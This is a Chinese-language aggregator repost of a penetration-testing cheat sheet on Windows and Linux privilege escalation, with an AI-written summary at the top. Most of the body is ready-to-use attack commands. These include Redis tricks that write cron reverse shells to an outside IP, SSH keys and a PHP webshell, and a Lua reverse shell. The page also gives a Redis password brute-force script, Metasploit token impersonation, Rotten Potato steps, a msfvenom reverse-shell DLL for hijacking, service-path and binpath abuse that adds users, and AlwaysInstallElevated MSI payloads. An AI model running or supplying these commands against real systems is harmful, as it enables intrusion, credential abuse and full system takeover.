深潜之眼 前天 00:02
安全技术:Redis、PostgreSQL提权与令牌窃取、进程注入
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

本文详细介绍了多种安全技术,包括利用Redis和PostgreSQL进行提权,通过窃取令牌和进程注入获取系统控制权。文章阐述了Redis在Windows和Linux下的多种利用方式,如开机自启、计划任务、SSH公钥写入等,并提供了未授权访问和弱口令检测的Python脚本。同时,也涵盖了PostgreSQL的CVE漏洞利用,以及令牌窃取和进程注入的工具与原理,如烂土豆(Rotten Potato)、DLL劫持、服务路径安全问题、不安全的服务权限和AlwaysInstallElevated策略等,为安全研究人员提供了详实的参考。

💻 **Redis提权利用多样**:文章展示了在Windows环境下,通过修改开机自启项、编写计划任务反弹shell;在Linux环境下,通过写入cron任务反弹shell。此外,还详细介绍了利用Redis写SSH公钥实现无密码登录,以及通过`redis-cli`配合`config set dir`和`config set dbfilename`来写入webshell。

🔍 **Redis未授权与弱口令检测**:提供了Python脚本,用于检测Redis是否存在未授权访问,以及通过尝试常见密码进行弱口令爆破,帮助快速识别Redis服务的安全风险。

🚀 **进程注入与令牌窃取深入解析**:文章深入探讨了进程注入技术,特别是利用烂土豆(Rotten Potato)进行SYSTEM权限提权,其原理是通过NTLM认证欺骗和中间人攻击获取高权限令牌。同时,也介绍了DLL劫持、服务路径安全问题、不安全的服务权限配置以及AlwaysInstallElevated策略等多种提权手段,并提供了相应的利用工具和方法。

🛡️ **PostgreSQL与令牌窃取工具**:提及了PostgreSQL的CVE-2018-1058和CVE-2019-9193漏洞利用,以及使用`msf`工具进行令牌窃取和进程注入(如`pinjector`、`pexec`)的方法,为安全分析师提供了实用的攻击链。

⚙️ **服务配置与权限安全隐患**:详细阐述了Windows服务配置中的安全问题,包括未加引号的服务路径可能被利用,以及服务权限配置不当导致的可执行文件替换和命令执行,并提供了检测和利用方法,例如通过`sc config`命令修改`binpath`参数以SYSTEM权限执行命令。

如影安全、江流 2021-12-20 14:37

提权-Redis&Postgre&令牌窃取&进程注入

Redis


https://github.com/iSafeBlue/redis-rce


windows 开机自启项


把这段JS放到

    <SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

    这个目录下

      C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta


      写计划任务执行命令反弹shell


      主要是写在这些计划任务的目录下就好了

        /var/spool/cron/用户名/var/spool/cron/crontabs/用户名/etc/crontab/etc/cron.d/xxx

        redis-cli -h 192.168.2.6set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave


        写ssh-keygen公钥使用私钥登录


        1.本地生成key

          ssh-keygen -t rsa  //注意结果没有换行(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txtcat key.txt | redis-cli -h 192.168.1.8 -x set xxx
          is_rsa.pub192.168.63.130:6379> config set dir /root/.ssh/OK192.168.63.130:6379> config set dbfilename authorized_keysOK192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"OK192.168.63.130:6379> saveOK
          ssh -i id_rsa root@192.168.63.130


          低权限写webshell

            config set dir /var/www/html/config set dbfilename shell.phpset x "$_POST['caidao']);?>"save


            未授权检测

              #! /usr/bin/env python# _*_  coding:utf-8 _*_import socketimport sys
              PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
              def check(ip, port, timeout):    try:        socket.setdefaulttimeout(timeout)        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect((ip, int(port)))        s.send("INFO\r\n") result = s.recv(1024)
                      if "redis_version" in result:            return u"未授权访问"        elif "Authentication" in result:            for pass_ in PASSWORD_DIC:                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                s.connect((ip, int(port)))                s.send("AUTH %s\r\n" %(pass_))                result = s.recv(1024)                if '+OK' in result:                    return u"存在弱口令,密码:%s" % (pass_)    except Exception, e: pass
              if __name__ == '__main__':    ip=sys.argv[1]    port=sys.argv[2] print check(ip,port, timeout=10)

              主从备份getshell


              https://github.com/Ridter/redis-rce 

              https://github.com/n0b0dyCN/redis-rogue-server


              Lua RCE


              https://github.com/QAX-A-Team/redis_lua_exploit/

                eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0


                Postgre


                CVE-2018-1058

                CVE-2019-9193


                令牌窃取


                msf

                  use incognitolist_token -uimpersonate_token 'xxx\Administrator'

                  进程注入


                  pinjector 注入win2008以前的系统 

                  pexec64 32注入2008以后的系统(佛系)


                  烂土豆


                  上传烂土豆
                  执行烂土豆
                  利用窃取模块
                  窃取SYSTEM


                  提权原理


                  欺骗"NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端
                  对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌。这个过程是通过一些列的WINDOWS API调用实现的。
                  模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS MSSQL等)都具有这个权限,大多数用户级账户没有这个权限。

                  所以一般拿到webshell都是IIS权限,是具有模仿权限的,测试过程中,最好使用服务账户

                  烂土豆比热土豆的优点

                  100%可靠

                  全版本通杀(需要测试)

                  立即生效,不用像hot potato那样有时候需要等windows更新才能用。


                  通过中间人攻击,将COM(NT\SYSTEM权限)在第二部分挑战应答过程中认证的区块改成自己的区块获取system令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌
                    upload /root/potato.exe C:\Users\Publiccd C:\\Users\\Publicuse incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -uimpersonate_token "NT AUTHORITY\SYSTEM"

                    DLL劫持


                    原理


                    windows启动的时候需要加载dll,如果这些DLL不存在,则通过应用程序查找的位置放置恶意DLL来提权。通常Windows应用程序有预定义好的搜索DLL路径。

                    1.应用程序加载的路径
                    2.c:\windows\system32
                    3.c:\windows\system
                    4.c:\windows
                    5.当前工作目录Current Working Directory, CWD
                    6.在PATH环境变量的目录(先系统后用户)
                      msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=1111 -f dll > /opt/xxx.dll


                      利用过程


                      1.查看进程
                      2.调试进程
                      3.制作DLL并上传
                      4.替换DLL
                      5.启动应用


                      不带引号服务路径安全问题


                      原理


                      当windows服务运行时,会发生一下两种情况。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释去执行。

                      但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分割的服务路径的第一个实例。

                      过程


                      检测引号服务路径
                      利用路径制作文件并上传
                      启动服务或重启
                      调用


                        wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """


                          如果检测到的结果是C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe我们可以创建一个C:\Program.exeC:\Program Files (x86)\Cisco\Cisco.exe当然需要判断路径是否可写icacls C:\Program Files (x86)\Cisco(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。
                          重启sc stop "服务名"sc start "服务名"
                          假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:set AutoRunScript migrate -f


                          不安全的服务权限问题


                          即使正确应用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件


                          过程


                          检测服务权限配置
                          制作文件并上传
                          更改服务路径只想
                          调用后成功


                            找到对应服务给这个服务设置新的路径重启这个服务

                            accesschk.exe -uwcqv "administrators" *
                            利用1,利用MSF后门马sc config "NewServiceName" binpath="C:\test.exe"sc start "NewServiceName"

                            利用2,直接执行命令修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。sc config PFNET binpath= "net user test P@ssword123! /add"sc stop PFNETsc start PFNETsc config PFNET binpath= "net localgroup test P@ssword123! /add"sc stop PFNETsc start PFNET
                            当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。


                            不安全的安装


                            AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。

                            默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。

                            如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用:

                              [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
                              [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001


                              利用步骤


                              1.查询是否有漏洞

                                reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedorreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated


                                2.如果有漏洞提示1 

                                 


                                3. 如果没有漏洞提示报错

                                  C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedERROR: The system was unable to find the specified registry key or value.

                                  4.生成MSI,执行MSI

                                    msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msimsiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi


                                    阅读原文

                                    跳转微信打开

                                    Fish AI Reader

                                    Fish AI Reader

                                    AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

                                    FishAI

                                    FishAI

                                    鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

                                    联系邮箱 441953276@qq.com

                                    相关标签

                                    Redis PostgreSQL 提权 令牌窃取 进程注入 安全技术 漏洞利用 Redis RCE Privilege Escalation Token Stealing Process Injection Security Techniques Vulnerability Exploitation
                                    相关文章